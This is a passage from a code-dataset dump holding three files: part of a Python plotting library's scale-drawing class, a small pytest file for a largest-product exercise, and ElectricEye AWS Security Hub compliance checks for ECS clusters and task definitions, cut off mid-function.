self.LeftScale:\n px = self.__data.pos.x() - dist\n py = tval\n elif self.alignment() == self.BottomScale:\n px = tval\n py = self.__data.pos.y() + dist\n elif self.alignment() == self.TopScale:\n px = tval\n py = self.__data.pos.y() - dist\n\n return QPointF(px, py)\n\n def drawTick(self, painter, value, len_):\n \"\"\"\n Draw a tick\n\n :param QPainter painter: Painter\n :param float value: Value of the tick\n :param float len: Length of the tick\n \n .. seealso::\n \n :py:meth:`drawBackbone()`, :py:meth:`drawLabel()`\n \"\"\"\n if len_ <= 0:\n return\n pos = self.__data.pos\n tval = self.scaleMap().transform(value)\n pw = self.penWidth()\n a = 0\n if self.alignment() == self.LeftScale:\n x1 = pos.x() + a\n x2 = pos.x() + a - pw - len_\n painter.drawLine(x1, tval, x2, tval)\n elif self.alignment() == self.RightScale:\n x1 = pos.x()\n x2 = pos.x() + pw + len_\n painter.drawLine(x1, tval, x2, tval)\n elif self.alignment() == self.BottomScale:\n y1 = pos.y()\n y2 = pos.y() + pw + len_\n painter.drawLine(tval, y1, tval, y2)\n elif self.alignment() == self.TopScale:\n y1 = pos.y() + a\n y2 = pos.y() - pw - len_ + a\n painter.drawLine(tval, y1, tval, y2)\n\n def drawBackbone(self, painter):\n \"\"\"\n Draws the baseline of the scale\n\n :param QPainter painter: Painter\n \n .. seealso::\n \n :py:meth:`drawTick()`, :py:meth:`drawLabel()`\n \"\"\"\n pos = self.__data.pos\n len_ = self.__data.len\n off = 0.5 * self.penWidth()\n if self.alignment() == self.LeftScale:\n x = pos.x() - off\n painter.drawLine(x, pos.y(), x, pos.y() + len_)\n elif self.alignment() == self.RightScale:\n x = pos.x() + off\n painter.drawLine(x, pos.y(), x, pos.y() + len_)\n elif self.alignment() == self.TopScale:\n y = pos.y() - off\n painter.drawLine(pos.x(), y, pos.x() + len_, y)\n elif self.alignment() == self.BottomScale:\n y = pos.y() + off\n painter.drawLine(pos.x(), y, pos.x() + len_, y)\n\n def move(self, *args):\n \"\"\"\n Move the position of the scale\n \n The meaning of the parameter pos depends on the alignment:\n \n * `QwtScaleDraw.LeftScale`:\n \n The origin is the topmost point of the backbone. The backbone is a \n vertical line. Scale marks and labels are drawn at the left of the \n backbone.\n \n * `QwtScaleDraw.RightScale`:\n \n The origin is the topmost point of the backbone. The backbone is a \n vertical line. Scale marks and labels are drawn at the right of \n the backbone.\n \n * `QwtScaleDraw.TopScale`:\n \n The origin is the leftmost point of the backbone. The backbone is \n a horizontal line. Scale marks and labels are drawn above the \n backbone.\n \n * `QwtScaleDraw.BottomScale`:\n \n The origin is the leftmost point of the backbone. The backbone is \n a horizontal line Scale marks and labels are drawn below the \n backbone.\n \n .. py:method:: move(x, y)\n :noindex:\n \n :param float x: X coordinate\n :param float y: Y coordinate\n \n .. py:method:: move(pos)\n :noindex:\n \n :param QPointF pos: position\n \n .. seealso::\n \n :py:meth:`pos()`, :py:meth:`setLength()`\n \"\"\"\n if len(args) == 2:\n x, y = args\n self.move(QPointF(x, y))\n elif len(args) == 1:\n (pos,) = args\n self.__data.pos = pos\n self.updateMap()\n else:\n raise TypeError(\n \"%s().move() takes 1 or 2 argument(s) (%s given)\"\n % (self.__class__.__name__, len(args))\n )\n\n def pos(self):\n \"\"\"\n :return: Origin of the scale\n \n .. seealso::\n \n :py:meth:`pos()`, :py:meth:`setLength()`\n \"\"\"\n return self.__data.pos\n\n def setLength(self, length):\n \"\"\"\n Set the length of the backbone.\n\n The length doesn't include the space needed for overlapping labels.\n\n :param float length: Length of the backbone\n \n .. seealso::\n \n :py:meth:`move()`, :py:meth:`minLabelDist()`\n \"\"\"\n if length >= 0 and length < 10:\n length = 10\n if length < 0 and length > -10:\n length = -10\n self.__data.len = length\n self.updateMap()\n\n def length(self):\n \"\"\"\n :return: the length of the backbone\n \n .. seealso::\n \n :py:meth:`setLength()`, :py:meth:`pos()`\n \"\"\"\n return self.__data.len\n\n def drawLabel(self, painter, value):\n \"\"\"\n Draws the label for a major scale tick\n\n :param QPainter painter: Painter\n :param float value: Value\n \n .. seealso::\n \n :py:meth:`drawTick()`, :py:meth:`drawBackbone()`, \n :py:meth:`boundingLabelRect()`\n \"\"\"\n lbl = self.tickLabel(painter.font(), value)\n if lbl is None or lbl.isEmpty():\n return\n pos = self.labelPosition(value)\n labelSize = lbl.textSize(painter.font())\n transform = self.labelTransformation(pos, labelSize)\n painter.save()\n painter.setWorldTransform(transform, True)\n lbl.draw(painter, QRect(QPoint(0, 0), labelSize.toSize()))\n painter.restore()\n\n def boundingLabelRect(self, font, value):\n \"\"\"\n Find the bounding rectangle for the label.\n\n The coordinates of the rectangle are absolute (calculated from \n `pos()`) in direction of the tick.\n\n :param QFont font: Font used for painting\n :param float value: Value\n :return: Bounding rectangle\n \n .. seealso::\n \n :py:meth:`labelRect()`\n \"\"\"\n lbl = self.tickLabel(font, value)\n if lbl.isEmpty():\n return QRect()\n pos = self.labelPosition(value)\n labelSize = lbl.textSize(font)\n transform = self.labelTransformation(pos, labelSize)\n return transform.mapRect(QRect(QPoint(0, 0), labelSize.toSize()))\n\n def labelTransformation(self, pos, size):\n \"\"\"\n Calculate the transformation that is needed to paint a label\n depending on its alignment and rotation.\n\n :param QPointF pos: Position where to paint the label\n :param QSizeF size: Size of the label\n :return: Transformation matrix\n \n .. seealso::\n \n :py:meth:`setLabelAlignment()`, :py:meth:`setLabelRotation()`\n \"\"\"\n transform = QTransform()\n transform.translate(pos.x(), pos.y())\n transform.rotate(self.labelRotation())\n\n flags = self.labelAlignment()\n if flags == 0:\n flags = self.Flags[self.alignment()]\n\n if flags & Qt.AlignLeft:\n x = -size.width()\n elif flags & Qt.AlignRight:\n x = 0.0\n else:\n x = -(0.5 * size.width())\n\n if flags & Qt.AlignTop:\n y = -size.height()\n elif flags & Qt.AlignBottom:\n y = 0\n else:\n y = -(0.5 * size.height())\n\n transform.translate(x, y)\n\n return transform\n\n def labelRect(self, font, value):\n \"\"\"\n Find the bounding rectangle for the label. The coordinates of\n the rectangle are relative to spacing + tick length from the backbone\n in direction of the tick.\n\n :param QFont font: Font used for painting\n :param float value: Value\n :return: Bounding rectangle that is needed to draw a label\n \"\"\"\n lbl = self.tickLabel(font, value)\n if not lbl or lbl.isEmpty():\n return QRectF(0.0, 0.0, 0.0, 0.0)\n pos = self.labelPosition(value)\n labelSize = lbl.textSize(font)\n transform = self.labelTransformation(pos, labelSize)\n br = transform.mapRect(QRectF(QPointF(0, 0), labelSize))\n br.translate(-pos.x(), -pos.y())\n return br\n\n def labelSize(self, font, value):\n \"\"\"\n Calculate the size that is needed to draw a label\n\n :param QFont font: Label font\n :param float value: Value\n :return: Size that is needed to draw a label\n \"\"\"\n return self.labelRect(font, value).size()\n\n def setLabelRotation(self, rotation):\n \"\"\"\n Rotate all labels.\n\n When changing the rotation, it might be necessary to\n adjust the label flags too. Finding a useful combination is\n often the result of try and error.\n\n :param float rotation: Angle in degrees. When changing the label rotation, the label flags often needs to be adjusted too.\n \n .. seealso::\n \n :py:meth:`setLabelAlignment()`, :py:meth:`labelRotation()`, \n :py:meth:`labelAlignment()`\n \"\"\"\n self.__data.labelRotation = rotation\n\n def labelRotation(self):\n \"\"\"\n :return: the label rotation\n \n .. seealso::\n \n :py:meth:`setLabelRotation()`, :py:meth:`labelAlignment()`\n \"\"\"\n return self.__data.labelRotation\n\n def setLabelAlignment(self, alignment):\n \"\"\"\n Change the label flags\n\n Labels are aligned to the point tick length + spacing away from the \n backbone.\n\n The alignment is relative to the orientation of the label text.\n In case of an flags of 0 the label will be aligned\n depending on the orientation of the scale:\n \n * `QwtScaleDraw.TopScale`: `Qt.AlignHCenter | Qt.AlignTop`\n * `QwtScaleDraw.BottomScale`: `Qt.AlignHCenter | Qt.AlignBottom`\n * `QwtScaleDraw.LeftScale`: `Qt.AlignLeft | Qt.AlignVCenter`\n * `QwtScaleDraw.RightScale`: `Qt.AlignRight | Qt.AlignVCenter`\n\n Changing the alignment is often necessary for rotated labels.\n\n :param Qt.Alignment alignment Or'd `Qt.AlignmentFlags`\n \n .. seealso::\n \n :py:meth:`setLabelRotation()`, :py:meth:`labelRotation()`, \n :py:meth:`labelAlignment()`\n \n .. warning::\n \n The various alignments might be confusing. The alignment of the \n label is not the alignment of the scale and is not the alignment \n of the flags (`QwtText.flags()`) returned from \n `QwtAbstractScaleDraw.label()`.\n \"\"\"\n self.__data.labelAlignment = alignment\n\n def labelAlignment(self):\n \"\"\"\n :return: the label flags\n \n .. seealso::\n \n :py:meth:`setLabelAlignment()`, :py:meth:`labelRotation()`\n \"\"\"\n return self.__data.labelAlignment\n\n def setLabelAutoSize(self, state):\n \"\"\"\n Set label automatic size option state\n\n When drawing text labels, if automatic size mode is enabled (default \n behavior), the axes are drawn in order to optimize layout space and \n depends on text label individual sizes. Otherwise, width and height \n won't change when axis range is changing.\n \n This option is not implemented in Qwt C++ library: this may be used \n either as an optimization (updating plot layout is faster when this \n option is enabled) or as an appearance preference (with Qwt default \n behavior, the size of axes may change when zooming and/or panning \n plot canvas which in some cases may not be desired).\n\n :param bool state: On/off \n\n .. seealso::\n \n :py:meth:`labelAutoSize()`\n \"\"\"\n self.__data.labelAutoSize = state\n\n def labelAutoSize(self):\n \"\"\"\n :return: True if automatic size option is enabled for labels\n \n .. seealso::\n \n :py:meth:`setLabelAutoSize()`\n \"\"\"\n return self.__data.labelAutoSize\n\n def _get_max_label_size(self, font):\n key = (font.toString(), self.labelRotation())\n size = self._max_label_sizes.get(key)\n if size is None:\n size = self.labelSize(font, -999999) # -999999 is the biggest label\n size.setWidth(np.ceil(size.width()))\n size.setHeight(np.ceil(size.height()))\n return self._max_label_sizes.setdefault(key, size)\n else:\n return size\n\n def maxLabelWidth(self, font):\n \"\"\"\n :param QFont font: Font\n :return: the maximum width of a label\n \"\"\"\n ticks = self.scaleDiv().ticks(QwtScaleDiv.MajorTick)\n if not ticks:\n return 0\n if self.labelAutoSize():\n vmax = sorted(\n [v for v in ticks if self.scaleDiv().contains(v)],\n key=lambda obj: len(QLocale().toString(obj)),\n )[-1]\n return np.ceil(self.labelSize(font, vmax).width())\n ## Original implementation (closer to Qwt's C++ code, but slower):\n # return np.ceil(max([self.labelSize(font, v).width()\n # for v in ticks if self.scaleDiv().contains(v)]))\n else:\n return self._get_max_label_size(font).width()\n\n def maxLabelHeight(self, font):\n \"\"\"\n :param QFont font: Font\n :return: the maximum height of a label\n \"\"\"\n ticks = self.scaleDiv().ticks(QwtScaleDiv.MajorTick)\n if not ticks:\n return 0\n if self.labelAutoSize():\n vmax = sorted(\n [v for v in ticks if self.scaleDiv().contains(v)],\n key=lambda obj: len(QLocale().toString(obj)),\n )[-1]\n return np.ceil(self.labelSize(font, vmax).height())\n ## Original implementation (closer to Qwt's C++ code, but slower):\n # return np.ceil(max([self.labelSize(font, v).height()\n # for v in ticks if self.scaleDiv().contains(v)]))\n else:\n return self._get_max_label_size(font).height()\n\n def updateMap(self):\n pos = self.__data.pos\n len_ = self.__data.len\n sm = self.scaleMap()\n if self.orientation() == Qt.Vertical:\n sm.setPaintInterval(pos.y() + len_, pos.y())\n else:\n sm.setPaintInterval(pos.x(), pos.x() + len_)\n\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"}
+{"text": "from largest_product.py import largest_product\nimport pytest\n\n\ndef test_product_returns():\n \"\"\"test if return is a single product \"\"\"\n assert largest_product.largest([[2, 2]]) is 4\n\n\ndef test_returns_largest():\n \"\"\" test if return is the largest of longer array \"\"\"\n assert largest_product.largest([[1, 3], [6, 10], [4, 5]]) is 60\n\n\ndef test_empty_list():\n \"\"\" test if returns msg if empty list \"\"\"\n assert largest_product.largest([]) == 'empty arr used'\n\n\ndef test_check_if_syb_has_only_1_el():\n \"\"\"test for one value\"\"\"\n arr = [3]\n val = 0\n assert largest_product.node_inside(arr, val) == 3\n", "source": "jayadams011/data-structures-and-algorithms", "license": "MIT"}
+{"text": "#This file is part of ElectricEye.\n#SPDX-License-Identifier: Apache-2.0\n\n#Licensed to the Apache Software Foundation (ASF) under one\n#or more contributor license agreements. See the NOTICE file\n#distributed with this work for additional information\n#regarding copyright ownership. The ASF licenses this file\n#to you under the Apache License, Version 2.0 (the\n#\"License\"); you may not use this file except in compliance\n#with the License. You may obtain a copy of the License at\n\n#http://www.apache.org/licenses/LICENSE-2.0\n\n#Unless required by applicable law or agreed to in writing,\n#software distributed under the License is distributed on an\n#\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n#KIND, either express or implied. See the License for the\n#specific language governing permissions and limitations\n#under the License.\n\nimport boto3\nimport datetime\nfrom check_register import CheckRegister\n\nregistry = CheckRegister()\n\n# import boto3 clients\necs = boto3.client(\"ecs\")\n# loop through ECS Clusters\ndef list_clusters(cache):\n response = cache.get(\"list_clusters\")\n if response:\n return response\n cache[\"list_clusters\"] = ecs.list_clusters()\n return cache[\"list_clusters\"]\n\n\n@registry.register_check(\"ecs\")\ndef ecs_cluster_container_insights_check(cache: dict, awsAccountId: str, awsRegion: str, awsPartition: str) -> dict:\n \"\"\"[ECS.1] ECS clusters should have container insights enabled\"\"\"\n response = list_clusters(cache)\n myEcsClusters = response[\"clusterArns\"]\n for clusters in myEcsClusters:\n clusterArn = str(clusters)\n try:\n response = ecs.describe_clusters(clusters=[clusterArn])\n for clusterinfo in response[\"clusters\"]:\n clusterName = str(clusterinfo[\"clusterName\"])\n ecsClusterArn = str(clusterinfo[\"clusterArn\"])\n for settings in clusterinfo[\"settings\"]:\n contInsightsCheck = str(settings[\"value\"])\n # ISO Time\n iso8601Time = (\n datetime.datetime.utcnow()\n .replace(tzinfo=datetime.timezone.utc)\n .isoformat()\n )\n if contInsightsCheck == \"disabled\":\n finding = {\n \"SchemaVersion\": \"2018-10-08\",\n \"Id\": ecsClusterArn + \"/ecs-cluster-container-insights-check\",\n \"ProductArn\": f\"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default\",\n \"GeneratorId\": ecsClusterArn,\n \"AwsAccountId\": awsAccountId,\n \"Types\": [\n \"Software and Configuration Checks/AWS Security Best Practices\"\n ],\n \"FirstObservedAt\": iso8601Time,\n \"CreatedAt\": iso8601Time,\n \"UpdatedAt\": iso8601Time,\n \"Severity\": {\"Label\": \"LOW\"},\n \"Confidence\": 99,\n \"Title\": \"[ECS.1] ECS clusters should have container insights enabled\",\n \"Description\": \"ECS cluster \"\n + clusterName\n + \" does not have container insights enabled. Refer to the remediation instructions to remediate this behavior\",\n \"Remediation\": {\n \"Recommendation\": {\n \"Text\": \"For information on configuring Container Insights for your cluster refer to the Setting Up Container Insights on Amazon ECS for Cluster- and Service-Level Metrics section of the Amazon CloudWatch User Guide\",\n \"Url\": \"https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/deploy-container-insights-ECS-cluster.html\",\n }\n },\n \"ProductFields\": {\"Product Name\": \"ElectricEye\"},\n \"Resources\": [\n {\n \"Type\": \"AwsEcsCluster\",\n \"Id\": ecsClusterArn,\n \"Partition\": awsPartition,\n \"Region\": awsRegion,\n \"Details\": {\"Other\": {\"ClusterName\": clusterName}},\n }\n ],\n \"Compliance\": {\n \"Status\": \"FAILED\",\n \"RelatedRequirements\": [\n \"NIST CSF DE.AE-3\",\n \"NIST SP 800-53 AU-6\",\n \"NIST SP 800-53 CA-7\",\n \"NIST SP 800-53 IR-4\",\n \"NIST SP 800-53 IR-5\",\n \"NIST SP 800-53 IR-8\",\n \"NIST SP 800-53 SI-4\",\n \"AICPA TSC CC7.2\",\n \"ISO 27001:2013 A.12.4.1\",\n \"ISO 27001:2013 A.16.1.7\",\n ],\n },\n \"Workflow\": {\"Status\": \"NEW\"},\n \"RecordState\": \"ACTIVE\",\n }\n yield finding\n else:\n finding = {\n \"SchemaVersion\": \"2018-10-08\",\n \"Id\": ecsClusterArn + \"/ecs-cluster-container-insights-check\",\n \"ProductArn\": f\"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default\",\n \"GeneratorId\": ecsClusterArn,\n \"AwsAccountId\": awsAccountId,\n \"Types\": [\n \"Software and Configuration Checks/AWS Security Best Practices\"\n ],\n \"FirstObservedAt\": iso8601Time,\n \"CreatedAt\": iso8601Time,\n \"UpdatedAt\": iso8601Time,\n \"Severity\": {\"Label\": \"INFORMATIONAL\"},\n \"Confidence\": 99,\n \"Title\": \"[ECS.1] ECS clusters should have container insights enabled\",\n \"Description\": \"ECS cluster \"\n + clusterName\n + \" has container insights enabled.\",\n \"Remediation\": {\n \"Recommendation\": {\n \"Text\": \"For information on configuring Container Insights for your cluster refer to the Setting Up Container Insights on Amazon ECS for Cluster- and Service-Level Metrics section of the Amazon CloudWatch User Guide\",\n \"Url\": \"https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/deploy-container-insights-ECS-cluster.html\",\n }\n },\n \"ProductFields\": {\"Product Name\": \"ElectricEye\"},\n \"Resources\": [\n {\n \"Type\": \"AwsEcsCluster\",\n \"Id\": ecsClusterArn,\n \"Partition\": awsPartition,\n \"Region\": awsRegion,\n \"Details\": {\"Other\": {\"ClusterName\": clusterName}},\n }\n ],\n \"Compliance\": {\n \"Status\": \"PASSED\",\n \"RelatedRequirements\": [\n \"NIST CSF DE.AE-3\",\n \"NIST SP 800-53 AU-6\",\n \"NIST SP 800-53 CA-7\",\n \"NIST SP 800-53 IR-4\",\n \"NIST SP 800-53 IR-5\",\n \"NIST SP 800-53 IR-8\",\n \"NIST SP 800-53 SI-4\",\n \"AICPA TSC CC7.2\",\n \"ISO 27001:2013 A.12.4.1\",\n \"ISO 27001:2013 A.16.1.7\",\n ],\n },\n \"Workflow\": {\"Status\": \"RESOLVED\"},\n \"RecordState\": \"ARCHIVED\",\n }\n yield finding\n except Exception as e:\n print(e)\n\n@registry.register_check(\"ecs\")\ndef ecs_cluster_default_provider_strategy_check(cache: dict, awsAccountId: str, awsRegion: str, awsPartition: str) -> dict:\n \"\"\"[ECS.2] ECS clusters should have a default cluster capacity provider strategy configured\"\"\"\n response = list_clusters(cache)\n myEcsClusters = response[\"clusterArns\"]\n for clusters in myEcsClusters:\n clusterArn = str(clusters)\n try:\n response = ecs.describe_clusters(clusters=[clusterArn])\n for clusterinfo in response[\"clusters\"]:\n clusterName = str(clusterinfo[\"clusterName\"])\n ecsClusterArn = str(clusterinfo[\"clusterArn\"])\n defaultProviderStratCheck = str(clusterinfo[\"defaultCapacityProviderStrategy\"])\n # ISO Time\n iso8601Time = (\n datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc).isoformat()\n )\n if defaultProviderStratCheck == \"[]\":\n finding = {\n \"SchemaVersion\": \"2018-10-08\",\n \"Id\": ecsClusterArn + \"/ecs-cluster-default-provider-strategy-check\",\n \"ProductArn\": f\"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default\",\n \"GeneratorId\": ecsClusterArn,\n \"AwsAccountId\": awsAccountId,\n \"Types\": [\"Software and Configuration Checks/AWS Security Best Practices\"],\n \"FirstObservedAt\": iso8601Time,\n \"CreatedAt\": iso8601Time,\n \"UpdatedAt\": iso8601Time,\n \"Severity\": {\"Label\": \"INFORMATIONAL\"},\n \"Confidence\": 99,\n \"Title\": \"[ECS.2] ECS clusters should have a default cluster capacity provider strategy configured\",\n \"Description\": \"ECS cluster \"\n + clusterName\n + \" does not have a default provider strategy configured. Refer to the remediation instructions to remediate this behavior\",\n \"Remediation\": {\n \"Recommendation\": {\n \"Text\": \"For information on cluster capacity provider strategies for your cluster refer to the Amazon ECS Cluster Capacity Providers section of the Amazon Elastic Container Service Developer Guide\",\n \"Url\": \"https://docs.aws.amazon.com/AmazonECS/latest/developerguide/cluster-capacity-providers.html\",\n }\n },\n \"ProductFields\": {\"Product Name\": \"ElectricEye\"},\n \"Resources\": [\n {\n \"Type\": \"AwsEcsCluster\",\n \"Id\": ecsClusterArn,\n \"Partition\": awsPartition,\n \"Region\": awsRegion,\n \"Details\": {\"Other\": {\"ClusterName\": clusterName}},\n }\n ],\n \"Compliance\": {\n \"Status\": \"FAILED\",\n \"RelatedRequirements\": [\n \"NIST CSF ID.AM-2\",\n \"NIST SP 800-53 CM-8\",\n \"NIST SP 800-53 PM-5\",\n \"AICPA TSC CC3.2\",\n \"AICPA TSC CC6.1\",\n \"ISO 27001:2013 A.8.1.1\",\n \"ISO 27001:2013 A.8.1.2\",\n \"ISO 27001:2013 A.12.5.1\",\n ],\n },\n \"Workflow\": {\"Status\": \"NEW\"},\n \"RecordState\": \"ACTIVE\",\n }\n yield finding\n else:\n finding = {\n \"SchemaVersion\": \"2018-10-08\",\n \"Id\": ecsClusterArn + \"/ecs-cluster-default-provider-strategy-check\",\n \"ProductArn\": f\"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default\",\n \"GeneratorId\": ecsClusterArn,\n \"AwsAccountId\": awsAccountId,\n \"Types\": [\"Software and Configuration Checks/AWS Security Best Practices\"],\n \"FirstObservedAt\": iso8601Time,\n \"CreatedAt\": iso8601Time,\n \"UpdatedAt\": iso8601Time,\n \"Severity\": {\"Label\": \"INFORMATIONAL\"},\n \"Confidence\": 99,\n \"Title\": \"[ECS.2] ECS clusters should have a default cluster capacity provider strategy configured\",\n \"Description\": \"ECS cluster \"\n + clusterName\n + \" has a default provider strategy configured.\",\n \"Remediation\": {\n \"Recommendation\": {\n \"Text\": \"For information on cluster capacity provider strategies for your cluster refer to the Amazon ECS Cluster Capacity Providers section of the Amazon Elastic Container Service Developer Guide\",\n \"Url\": \"https://docs.aws.amazon.com/AmazonECS/latest/developerguide/cluster-capacity-providers.html\",\n }\n },\n \"ProductFields\": {\"Product Name\": \"ElectricEye\"},\n \"Resources\": [\n {\n \"Type\": \"AwsEcsCluster\",\n \"Id\": ecsClusterArn,\n \"Partition\": awsPartition,\n \"Region\": awsRegion,\n \"Details\": {\"Other\": {\"ClusterName\": clusterName}},\n }\n ],\n \"Compliance\": {\n \"Status\": \"PASSED\",\n \"RelatedRequirements\": [\n \"NIST CSF ID.AM-2\",\n \"NIST SP 800-53 CM-8\",\n \"NIST SP 800-53 PM-5\",\n \"AICPA TSC CC3.2\",\n \"AICPA TSC CC6.1\",\n \"ISO 27001:2013 A.8.1.1\",\n \"ISO 27001:2013 A.8.1.2\",\n \"ISO 27001:2013 A.12.5.1\",\n ],\n },\n \"Workflow\": {\"Status\": \"RESOLVED\"},\n \"RecordState\": \"ARCHIVED\",\n }\n yield finding\n except Exception as e:\n print(e)\n\n@registry.register_check(\"ecs\")\ndef ecs_task_definition_privileged_container_check(cache: dict, awsAccountId: str, awsRegion: str, awsPartition: str) -> dict:\n \"\"\"[ECS.3] ECS Task Definitions should not run privileged containers if not required\"\"\"\n for taskdef in ecs.list_task_definitions(status='ACTIVE')['taskDefinitionArns']:\n try:\n response = ecs.describe_task_definition(taskDefinition=taskdef)[\"taskDefinition\"]\n taskDefinitionArn = str(response['taskDefinitionArn'])\n tdefFamily = str(response[\"family\"])\n # Loop container definitions \n for cdef in response[\"containerDefinitions\"]:\n # ISO Time\n iso8601Time = (datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc).isoformat())\n cdefName = str(cdef[\"name\"])\n # We are going to assume that if there is not a privileged flag...that it is ;)\n try:\n privCheck = str(cdef[\"privileged\"])\n except:\n privCheck = 'UNKNOWN'\n if privCheck != 'False': \n finding = {\n \"SchemaVersion\": \"2018-10-08\",\n \"Id\": taskDefinitionArn + \"/\" + cdefName + \"/ecs-task-definition-privileged-container-check\",\n \"ProductArn\": f\"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default\",\n \"GeneratorId\": taskDefinitionArn + \"/\" + cdefName,\n \"AwsAccountId\": awsAccountId,\n \"Types\": [\n \"Software and Configuration Checks/AWS Security Best Practices\",\n \"TTPs/Privilege Escalation\"\n ],\n \"FirstObservedAt\": iso8601Time,\n \"CreatedAt\": iso8601Time,\n \"UpdatedAt\": iso8601Time,\n \"Severity\": {\"Label\": \"MEDIUM\"},\n \"Confidence\": 99,\n \"Title\": \"[ECS.3] ECS Task Definitions should not run privileged containers if not required\",\n \"Description\": \"ECS Container Definition \"\n + cdefName\n + \" in Task Definition \"\n + taskDefinitionArn\n + \" has defined a Privileged container, which should be avoided unless absolutely necessary. Refer to the remediation instructions to remediate this behavior\",\n \"Remediation\": {\n \"Recommendation\": {\n \"Text\": \"Containers running as Privileged will have Root permissions, this should be avoided if not needed. Refer to the Task definition parameters Security section of the Amazon Elastic Container Service Developer Guide\",\n \"Url\": \"https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definition_parameters.html#container_definitions\",\n }\n },\n \"ProductFields\": {\"Product Name\": \"ElectricEye\"},\n \"Resources\": [\n {\n \"Type\": \"AwsEcsTaskDefinition\",\n \"Id\": taskDefinitionArn,\n \"Partition\": awsPartition,\n \"Region\": awsRegion,\n \"Details\": {\n \"Other\": {\n \"Family\": tdefFamily,\n \"ContainerDefinitionName\": cdefName\n }\n }\n }\n ],\n \"Compliance\": {\n \"Status\": \"FAILED\",\n \"RelatedRequirements\": [\n \"NIST CSF PR.AC-1\",\n \"NIST SP 800-53 AC-1\",\n \"NIST SP 800-53 AC-2\",\n \"NIST SP 800-53 IA-1\",\n \"NIST SP 800-53 IA-2\",\n \"NIST SP 800-53 IA-3\",\n \"NIST SP 800-53 IA-4\",\n \"NIST SP 800-53 IA-5\",\n \"NIST SP 800-53 IA-6\",\n \"NIST SP 800-53 IA-7\",\n \"NIST SP 800-53 IA-8\",\n \"NIST SP 800-53 IA-9\",\n \"NIST SP 800-53 IA-10\",\n \"NIST SP 800-53 IA-11\",\n \"AICPA TSC CC6.1\",\n \"AICPA TSC CC6.2\",\n \"ISO 27001:2013 A.9.2.1\",\n \"ISO 27001:2013 A.9.2.2\",\n \"ISO 27001:2013 A.9.2.3\",\n \"ISO 27001:2013 A.9.2.4\",\n \"ISO 27001:2013 A.9.2.6\",\n \"ISO 27001:2013 A.9.3.1\",\n \"ISO 27001:2013 A.9.4.2\",\n \"ISO 27001:2013 A.9.4.3\",\n ],\n },\n \"Workflow\": {\"Status\": \"NEW\"},\n \"RecordState\": \"ACTIVE\",\n }\n yield finding\n else:\n finding = {\n \"SchemaVersion\": \"2018-10-08\",\n \"Id\": taskDefinitionArn + \"/\" + cdefName + \"/ecs-task-definition-privileged-container-check\",\n \"ProductArn\": f\"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default\",\n \"GeneratorId\": taskDefinitionArn + \"/\" + cdefName,\n \"AwsAccountId\": awsAccountId,\n \"Types\": [\n \"Software and Configuration Checks/AWS Security Best Practices\",\n \"TTPs/Privilege Escalation\"\n ],\n \"FirstObservedAt\": iso8601Time,\n \"CreatedAt\": iso8601Time,\n \"UpdatedAt\": iso8601Time,\n \"Severity\": {\"Label\": \"INFORMATIONAL\"},\n \"Confidence\": 99,\n \"Title\": \"[ECS.3] ECS Task Definitions should not run privileged containers if not required\",\n \"Description\": \"ECS Container Definition \"\n + cdefName\n + \" in Task Definition \"\n + taskDefinitionArn\n + \" has not defined a Privileged container.\",\n \"Remediation\": {\n \"Recommendation\": {\n \"Text\": \"Containers running as Privileged will have Root permissions, this should be avoided if not needed. Refer to the Task definition parameters Security section of the Amazon Elastic Container Service Developer Guide\",\n \"Url\": \"https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definition_parameters.html#container_definitions\",\n }\n },\n \"ProductFields\": {\"Product Name\": \"ElectricEye\"},\n \"Resources\": [\n {\n \"Type\": \"AwsEcsTaskDefinition\",\n \"Id\": taskDefinitionArn,\n \"Partition\": awsPartition,\n \"Region\": awsRegion,\n \"Details\": {\n \"Other\": {\n \"Family\": tdefFamily,\n \"ContainerDefinitionName\": cdefName\n }\n }\n }\n ],\n \"Compliance\": {\n \"Status\": \"PASSED\",\n \"RelatedRequirements\": [\n \"NIST CSF PR.AC-1\",\n \"NIST SP 800-53 AC-1\",\n \"NIST SP 800-53 AC-2\",\n \"NIST SP 800-53 IA-1\",\n \"NIST SP 800-53 IA-2\",\n \"NIST SP 800-53 IA-3\",\n \"NIST SP 800-53 IA-4\",\n \"NIST SP 800-53 IA-5\",\n \"NIST SP 800-53 IA-6\",\n \"NIST SP 800-53 IA-7\",\n \"NIST SP 800-53 IA-8\",\n \"NIST SP 800-53 IA-9\",\n \"NIST SP 800-53 IA-10\",\n \"NIST SP 800-53 IA-11\",\n \"AICPA TSC CC6.1\",\n \"AICPA TSC CC6.2\",\n \"ISO 27001:2013 A.9.2.1\",\n \"ISO 27001:2013 A.9.2.2\",\n \"ISO 27001:2013 A.9.2.3\",\n \"ISO 27001:2013 A.9.2.4\",\n \"ISO 27001:2013 A.9.2.6\",\n \"ISO 27001:2013 A.9.3.1\",\n \"ISO 27001:2013 A.9.4.2\",\n \"ISO 27001:2013 A.9.4.3\",\n ],\n },\n \"Workflow\": {\"Status\": \"RESOLVED\"},\n \"RecordState\": \"ARCHIVED\",\n }\n yield finding\n except Exception as e:\n print(e)\n\n@registry.register_check(\"ecs\")\ndef ecs_task_definition_security_labels_check(cache: dict, awsAccountId: str, awsRegion: str, awsPartition: str) -> dict:\n \"\"\"[ECS.4] ECS Task Definitions for EC2 should have Docker Security Options (SELinux or AppArmor) configured\"\"\"\n for taskdef in ecs.list_task_definitions(status='ACTIVE')['taskDefinitionArns']:\n try:\n response = ecs.describe_task_definition(taskDefinition=taskdef)[\"taskDefinition\"]\n taskDefinitionArn = str(response[\"taskDefinitionArn\"])\n tdefFamily = str(response[\"family\"])\n # If there is a network mode of \"awsvpc\" it is likely a Fargate task - even though EC2 compute can run with that...\n # time for 